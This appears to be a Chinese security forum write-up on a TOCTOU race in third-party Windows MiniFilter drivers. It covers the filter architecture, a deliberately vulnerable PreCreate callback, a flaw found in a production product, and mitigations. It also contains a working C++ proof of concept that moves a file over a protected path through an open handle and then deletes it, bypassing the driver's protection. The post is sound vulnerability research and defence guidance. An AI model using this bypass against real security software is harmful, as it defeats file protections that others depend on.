首页
社区
课程
招聘
[原创]第三方MiniFilter中常见的一种TOCTOU漏洞
发表于: 2天前 479

[原创]第三方MiniFilter中常见的一种TOCTOU漏洞

2天前
479

概述

TOCTOU作为一种广泛存在的漏洞类型,在第三方Windows MiniFilter中也存在,本文介绍一种典型的第三方MiniFilter TOCTOU漏洞。

MiniFilter 架构

为了了解为什么会有TOCTOU,我们需要一并介绍Windows MiniFilter的基础架构。

MiniFilter(文件系统微筛选器驱动)是微软推出的新一代文件系统过滤驱动模型,旨在解决传统文件系统过滤驱动(Legacy Filter Driver)开发复杂度高、维护困难、加载顺序难以控制等问题。MiniFilter 基于 Filter Manager(过滤器管理器,fltmgr.sys)驱动框架运行,借助系统提供的过滤器管理器支持,显著简化了过滤驱动的开发。

MiniFileter的各个部分

Filter Manager 的角色。 Filter Manager(FltMgr.sys)是 Windows 系统提供的内核模式驱动,它实现了文件系统筛选驱动中普遍需要的通用功能,并将其暴露给 MiniFilter 驱动使用。Filter Manager 随 Windows 一同安装,但仅在 MiniFilter 驱动被加载时才会激活。它将自身绑定到目标卷的文件系统栈上,而 MiniFilter 驱动则通过向 Filter Manager 注册所需过滤的 I/O 操作类型,间接地绑定到文件系统栈。

MiniFilter 的实例与加载顺序。 MiniFilter 在特定卷上以特定高度(Altitude)进行的绑定操作称为实例(Instance)。Altitude 是一个数值字符串,它决定了 MiniFilter 在文件系统 I/O 栈中的加载位置——Altitude 值越高,实例在栈中的位置越靠上。操作系统通过负载顺序组(Load Order Groups)和 Altitude 共同确定多个 MiniFilter 之间的附着顺序,Altitude 同时也决定了 Filter Manager 在 I/O 操作处理过程中调用各个 MiniFilter 的顺序。

I/O 操作过滤机制。 MiniFilter 能够过滤三种类型的操作:基于 IRP 的 I/O 操作、快速 I/O 操作以及文件系统筛选器回调操作(FSFilter)。对于每种需要过滤的 I/O 操作,MiniFilter 可以注册一个“过滤前”(preoperation)回调函数、一个“过滤后”(postoperation)回调函数,或者两者同时注册。

Preoperation 回调函数类似于传统过滤驱动模型中的派发函数。当 Filter Manager 处理某个 I/O 操作时,它会按照 Altitude 从高到低的顺序,依次调用所有为该操作类型注册了 preoperation 回调函数的 MiniFilter 实例。每个 MiniFilter 可以在其 preoperation 回调中执行检查、修改 I/O 参数、完成 I/O 操作、挂起操作或将操作传递至下一层处理。当所有 MiniFilter 都处理完成后,Filter Manager 将 I/O 请求向下发送至传统过滤驱动和文件系统。

Postoperation 回调函数则类似于传统过滤驱动模型中的完成例程。当 I/O 操作完成并由 I/O 管理器向上返回时,Filter Manager 会按照 Altitude 从低到高的顺序,依次调用各个 MiniFilter 的 postoperation 回调函数。这种对称的设计使得每个 MiniFilter 能够在 I/O 操作到达文件系统之前和之后分别获得处理机会。

IRP在存在MiniFilter系统上的传递

我们可以先看一个图片,该图片展示了IRP的传递 该图展示了用户态 I/O 请求(如 CreateFileReadFileWriteFile)在经过 I/O 管理器、Filter Manager、不同 Altitude 的 MiniFilter、最终到达文件系统驱动,再原路返回的完整过程。图中特别强调了 MiniFilter 框架的两个核心回调:PreOperation(操作前)和 PostOperation(操作后),以及它们按 Altitude 顺序调用的规则。

阶段 1:用户态发起 I/O 请求

  • 参与者:用户态应用程序、I/O 管理器
  • 动作:应用程序调用 Windows API(如 CreateFile),I/O 管理器接收请求后生成对应的 IRP(I/O Request Packet),并将该 IRP 发送到文件系统设备栈的栈顶

阶段 2:IRP 进入 Filter Manager(FltMgr.sys)

  • 参与者:Filter Manager
  • 说明:所有绑定到该卷的 MiniFilter 并不是直接挂载到文件系统栈上,而是统一向 Filter Manager 注册。因此,I/O 管理器实际将 IRP 发往 Filter Manager 的设备对象。Filter Manager 获得 IRP 后,开始负责调度 MiniFilter 的回调函数。

阶段 3:向下传递 —— PreOperation 回调(高 Altitude → 低 Altitude)

  • 顺序规则:Filter Manager 按照 MiniFilter 实例的 Altitude 值从高到低 依次调用每个 MiniFilter 注册的 PreOperation 回调函数。
  • 图中的示例:先调用 MiniFilter(高 Altitude) 的 PreOperation,再调用 MiniFilter(低 Altitude) 的 PreOperation。
  • 每个 MiniFilter 在 PreOperation 中可以有三种选择(图中通过 alt 分支表示):

FLT_PREOP_COMPLETE :该 MiniFilter 认为操作已完成,Filter Manager 不再继续向下传递 IRP,直接返回 I/O 管理器。最终结果返回给应用程序(图中左侧分支)。FLT_PREOP_SUCCESS_NO_CALLBACK 继续传递,且不需要对该 I/O 做 PostOperation 回调,Filter Manager 将 IRP 传给下一个 MiniFilter 或文件系统。FLT_PREOP_SUCCESS_WITH_CALLBACK : 继续传递,但需要在完成时调用该 MiniFilter 的 PostOperation 回调。 同上,但 Filter Manager 会记录该 MiniFilter,在 IRP 返回时调用其 PostOperation。

阶段 4:IRP 发送至文件系统驱动

  • 参与者:Filter Manager、文件系统驱动(如 NTFS、FAT)
  • 动作:当所有 MiniFilter 的 PreOperation 都返回“继续向下”后,Filter Manager 将 IRP 发送给底层的文件系统驱动。
  • 文件系统处理:文件系统执行真正的磁盘读写、元数据更新等操作,然后完成 IRP,并将状态返回给 Filter Manager。

阶段 5:向上返回 —— PostOperation 回调(低 Altitude → 高 Altitude)

  • 顺序规则:Filter Manager 按照 Altitude 值从低到高 依次调用那些在 PreOperation 中要求回调的 MiniFilter 的 PostOperation 函数。
  • 图中的示例:先调用 MiniFilter(低 Altitude) 的 PostOperation,再调用 MiniFilter(高 Altitude) 的 PostOperation。
  • PostOperation 的用途:检查 I/O 操作的完成状态,修改返回数据,记录日志,清理上下文等。

阶段 6:返回用户态

  • 参与者:Filter Manager、I/O 管理器、用户态应用程序
  • 动作:Filter Manager 将最终完成状态返回给 I/O 管理器,I/O 管理器再将结果传递回用户态应用程序。此时一次完整的 I/O 请求结束。

TOCTOU漏洞示例驱动代码

以下是一个存在 TOCTOU 漏洞的简易 MiniFilter 驱动示例。相信有人会认为这是正确的,但,我们需要注意的是,文件操作在本质上是异步的,也就是说,我们不能保证执行流是线性的。如果执行流不是线性的,那么,我们可以通过并发来修改同一个状态,也就是在检查通过后通过并发线程马上修改目标,使其指向受保护目标。下面的代码展示了一个存在漏洞的 PreCreate 回调。

#include <fltKernel.h>

PFLT_FILTER g_FilterHandle = NULL;

FLT_PREOP_CALLBACK_STATUS
PreCreateCallback(
    _Inout_ PFLT_CALLBACK_DATA Data,
    _In_ PCFLT_RELATED_OBJECTS FltObjects,
    _Flt_CompletionContext_Outptr_ PVOID *CompletionContext
)
{
    PFLT_FILE_NAME_INFORMATION nameInfo = NULL;
    NTSTATUS status;
    BOOLEAN deny = FALSE;

    
    status = FltGetFileNameInformation(Data,
                                       FLT_FILE_NAME_NORMALIZED |
                                       FLT_FILE_NAME_QUERY_DEFAULT,
                                       &nameInfo);
    if (NT_SUCCESS(status))
    {
        status = FltParseFileNameInformation(nameInfo);
        if (NT_SUCCESS(status))
        {
            
            if (wcsstr(nameInfo->Name.Buffer, L"C:\\Protected\\target.txt") != NULL)
            {
                deny = TRUE;
            }
        }
        FltReleaseFileNameInformation(nameInfo);
    }

    if (deny)
    {
        
        Data->IoStatus.Status = STATUS_ACCESS_DENIED;
        Data->IoStatus.Information = 0;
        return FLT_PREOP_COMPLETE;
    }

    return FLT_PREOP_SUCCESS_NO_CALLBACK;
}


const FLT_OPERATION_REGISTRATION Callbacks[] = {
    { IRP_MJ_CREATE,                    
      0,
      PreCreateCallback,
      NULL },                           
    { IRP_MJ_OPERATION_END }
};

TOCTOU漏洞分析

上述示例代码展示了一个典型的Time-of-Check to Time-of-Use(TOCTOU)漏洞。该漏洞的核心原因在于:文件路径的检查时刻(T1)与实际文件打开/使用时刻(T2)之间存在一个时间窗口,攻击者能够利用并发操作在这个窗口内改变目标文件的身份,从而绕过安全检查。

漏洞原理

PreCreateCallback 中,驱动首先调用 FltGetFileNameInformation 获取文件的路径,然后使用 wcsstr 判断路径中是否包含 C:\Protected\target.txt。如果匹配,则返回 STATUS_ACCESS_DENIED,阻止打开。

问题在于:FltGetFileNameInformation 返回(T1)到文件系统真正打开并返回句柄(T2)之间,Windows 文件系统并不保证路径所指向的对象保持不变。攻击者可以在 T1 之后、T2 之前,通过另一个线程(或另一个进程)修改文件系统的命名空间。

由于 MiniFilter 的 PreCreate 回调只是整个 I/O 路径中的“观察者”,它无法原子化地锁定路径解析结果,因此上述竞态条件(race condition)是可能发生的。

异步与并发是根本原因

Windows I/O 系统本质上是一个异步、多线程、可抢占的环境。PreCreate 回调运行在任意线程上下文中(通常是发起 I/O 的线程),而其他 CPU 核心或更高优先级的线程可以同时修改文件系统状态。检查与使用并非原子操作,因此竞态条件不可避免,除非驱动主动引入锁机制或利用系统提供的原子操作原语。

在 MiniFilter 框架中,Filter Manager 不会自动为路径解析过程加锁,因为这会严重影响并发性能,且容易导致死锁。因此,必须意识到:即使在内核模式,也不能假设两次查询之间文件状态不变

生产环境的TOCTOU

如图,是笔者在进行测试时发现的一个TOCTOU小问题,以下是对所给伪代码中 TOCTOU 漏洞的注释分析。

__int64 __fastcall VulFltCallback(PFLT_CALLBACK_DATA CallbackData, __int64 a2, unsigned __int64 a3)
{
  // 第一次获取文件名信息(检查时刻 T1)
  v25 = FltGetFileNameInformation(CallbackData, v24, &FileNameInformation);
  // ... 错误处理 ...
  v3 = (unsigned __int16 *)sub_1400516F0(CallbackData->Iopb->TargetFileObject, FileNameInformation, &v55, &v56);
  // v3 中保存了规范化后的文件名信息(可能已解析符号链接)
  // 漏洞点:获取文件名后释放了 FileNameInformation,但 v3 仍被使用。
  // 从此刻(T1)到实际使用 v3 进行决策之间,文件可以被重命名或符号链接目标可被修改。
}

如图,笔者利用以下代码绕过了该软件的自定义文件保护

#include <windows.h>
#include <iostream>
#include <thread>
#include <chrono>

const wchar_t* LEGACY_PATH = L"C:\\Users\\lenovo\\Downloads\\a\\temp.txt";     
const wchar_t* PROTECTED_PATH = L"C:\\Protected\\target.txt";
const wchar_t* PROTECTED_DIR = L"C:\\Protected";


DWORD WINAPI MoveThread(LPVOID) {
    //Maybe more accurate sync measures
    //but Sleep(100) is enough
    Sleep(100);
    //MoveFileEx will succeed once no exclusive lock
    if (!MoveFileEx(LEGACY_PATH, PROTECTED_PATH, MOVEFILE_REPLACE_EXISTING)) {
        std::cerr << "移动文件失败,错误码: " << GetLastError() << std::endl;
    }
    else {
        std::cout << "[*] 文件已移动到受保护目录" << std::endl;
    }
    return 0;
}

int main() 
{
    CreateDirectory(L"C:\\Users\\lenovo\\Downloads\\a", NULL);

    HANDLE hFile = CreateFile(LEGACY_PATH, GENERIC_WRITE, 0, NULL,
        CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        std::cerr << "创建临时文件失败" << std::endl;
        return 1;
    }
    CloseHandle(hFile);
    std::cout << "[+] 临时文件已创建: " << LEGACY_PATH << std::endl;

    
    HANDLE hTarget = CreateFile(LEGACY_PATH,
        DELETE | FILE_READ_ATTRIBUTES, 
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_BACKUP_SEMANTICS,
        NULL);
    if (hTarget == INVALID_HANDLE_VALUE) {
        std::cerr << "打开文件失败,错误码: " << GetLastError() << std::endl;
    }
    std::cout << "[+] 已获取文件句柄(Minifilter 检查通过)" << std::endl;

   
    HANDLE hMoveThread = CreateThread(NULL, 0, MoveThread, NULL, 0, NULL);
    WaitForSingleObject(hMoveThread, INFINITE);
    FILE_DISPOSITION_INFO disp = { TRUE };
    if (SetFileInformationByHandle(hTarget, FileDispositionInfo, &disp, sizeof(disp))) {
        std::cout << "[!] 成功删除受保护文件: " << PROTECTED_PATH << std::endl;
        std::cout << "[*] TOCTOU 攻击生效,绕过了 Minifilter 的删除保护" << std::endl;
    }
    else {
        std::cerr << "删除失败,错误码: " << GetLastError() << std::endl;
    }

    CloseHandle(hTarget);
    getchar();
    return 0;
}

修复建议

在 PostCreate 回调中执行最终检查

原理:将路径检查延迟到文件已经打开之后PostCreate 阶段),使用 FLT_FILE_NAME_OPENED 标志获取文件系统最终解析并打开的文件名,此时文件名已经不会受后续符号链接或重命名影响。若检查发现不应被打开,则立即关闭该文件句柄。

改进代码

// 注册时同时注册 PreCreate 和 PostCreate
const FLT_OPERATION_REGISTRATION Callbacks[] = {
    { IRP_MJ_CREATE,
      0,
      PreCreateCallback,   // 可做轻量级预过滤(如快速路径放行)
      PostCreateCallback }, // 真正决策放在这里
    { IRP_MJ_OPERATION_END }
};

// PostCreate 回调:检查实际打开的文件
FLT_POSTOP_CALLBACK_STATUS
PostCreateCallback(
    _Inout_ PFLT_CALLBACK_DATA Data,
    _In_ PCFLT_RELATED_OBJECTS FltObjects,
    _In_opt_ PVOID CompletionContext,
    _In_ FLT_POST_OPERATION_FLAGS Flags
)
{
    PFLT_FILE_NAME_INFORMATION nameInfo = NULL;
    NTSTATUS status;

    // 仅当文件成功打开时才检查
    if (NT_SUCCESS(Data->IoStatus.Status))
    {
        // 关键:使用 FLT_FILE_NAME_OPENED 获取已打开文件的最终名称
        status = FltGetFileNameInformation(Data,
                                           FLT_FILE_NAME_OPENED |   // 已打开,已解析
                                           FLT_FILE_NAME_NORMALIZED,
                                           &nameInfo);
        if (NT_SUCCESS(status))
        {
            status = FltParseFileNameInformation(nameInfo);
            if (NT_SUCCESS(status))
            {
                // 检查最终路径是否为受保护文件
                if (wcsstr(nameInfo->Name.Buffer, L"C:\\Protected\\target.txt") != NULL)
                {
                    // 强制关闭已打开的文件句柄
                    FltCancelFileOpen(FltObjects->Instance, FltObjects->FileObject);
                    Data->IoStatus.Status = STATUS_ACCESS_DENIED;
                    Data->IoStatus.Information = 0;
                }
            }
            FltReleaseFileNameInformation(nameInfo);
        }
    }

    return FLT_POSTOP_FINISHED_PROCESSING;
}

获取的文件名是文件系统已经锁定并打开的对象,攻击者无法在 T1~T2 窗口内改变。性能较好,仅在文件成功打开后做一次额外检查。

基于File Reference Number进行决策

原理:文件对象的唯一标识符(FileReferenceNumber)在文件生命周期内不会改变,即使文件被重命名、移动或修改路径,其 ID 保持不变。预先获取受保护文件的 ID,然后在 PreCreatePostCreate 中比较 ID 而非路径。

步骤

  1. 驱动初始化时,打开 C:\Protected\target.txt 并获取其 FileReferenceNumber,存储为安全数据库。
  2. PreCreate 中,获取目标文件的 FileReferenceNumber(可使用 FltGetFileNameInformation 配合 FltGetFileObject 查询,或直接调用 ZwQueryInformationFile 获取 FILE_INTERNAL_INFORMATION)。
  3. 比较当前文件 ID 是否等于受保护 ID,若相等则拒绝。
// 在驱动初始化时获取受保护文件的 ID
LARGE_INTEGER g_ProtectedFileId = {0};

NTSTATUS GetProtectedFileId()
{
    HANDLE hFile;
    OBJECT_ATTRIBUTES oa;
    IO_STATUS_BLOCK iosb;
    UNICODE_STRING path = RTL_CONSTANT_STRING(L"\\??\\C:\\Protected\\target.txt");
    InitializeObjectAttributes(&oa, &path, OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);
    NTSTATUS status = ZwCreateFile(&hFile, FILE_READ_ATTRIBUTES, &oa, &iosb, NULL,
                                   FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN, 0, NULL, 0);
    if (NT_SUCCESS(status))
    {
        FILE_INTERNAL_INFORMATION info;
        status = ZwQueryInformationFile(hFile, &iosb, &info, sizeof(info), FileInternalInformation);
        if (NT_SUCCESS(status))
            g_ProtectedFileId = info.IndexNumber;
        ZwClose(hFile);
    }
    return status;
}

// PreCreate 中使用文件 ID 比较
FLT_PREOP_CALLBACK_STATUS PreCreateCallback(...)
{
    PFILE_OBJECT fileObject = Data->Iopb->TargetFileObject;
    // 获取当前文件对象的 ID(需要从文件系统获取,此处仅为示例)
    LARGE_INTEGER currentId = GetFileIdFromFileObject(fileObject);
    if (currentId.QuadPart != 0 && currentId.QuadPart == g_ProtectedFileId.QuadPart)
    {
        Data->IoStatus.Status = STATUS_ACCESS_DENIED;
        return FLT_PREOP_COMPLETE;
    }
    return FLT_PREOP_SUCCESS_NO_CALLBACK;
}

文件 ID 在重命名、移动等操作后不变,从根本上避免路径 TOCTOU。检查原子性较高(ID 在一次调用中获取并比较)。需要预先知道受保护文件的 ID(可在驱动加载时动态查询)。对于硬链接,所有链接共享同一个 ID,需注意策略一致性。

其他方案

使用 FltGetFileNameInformationFLT_FILE_NAME_OPENED 标志 + 同步检查或者结合对象属性与句柄验证

总结

MiniFilter 驱动中的 TOCTOU 漏洞源于路径检查与文件打开之间的竞态条件。典型错误是在 PreCreate 回调中使用 FltGetFileNameInformation 获取一次路径后直接决策,攻击者可利用符号链接、重命名等操作在检查(T1)与实际使用(T2)的时间窗口内改变文件身份,从而绕过安全策略。开发安全过滤驱动时,务必假设文件系统状态是动态变化的,并采用原子化验证手段,避免依赖单次路径查询结果。


[培训]《冰与火的战歌:Windows内核攻防实战》!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。

收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回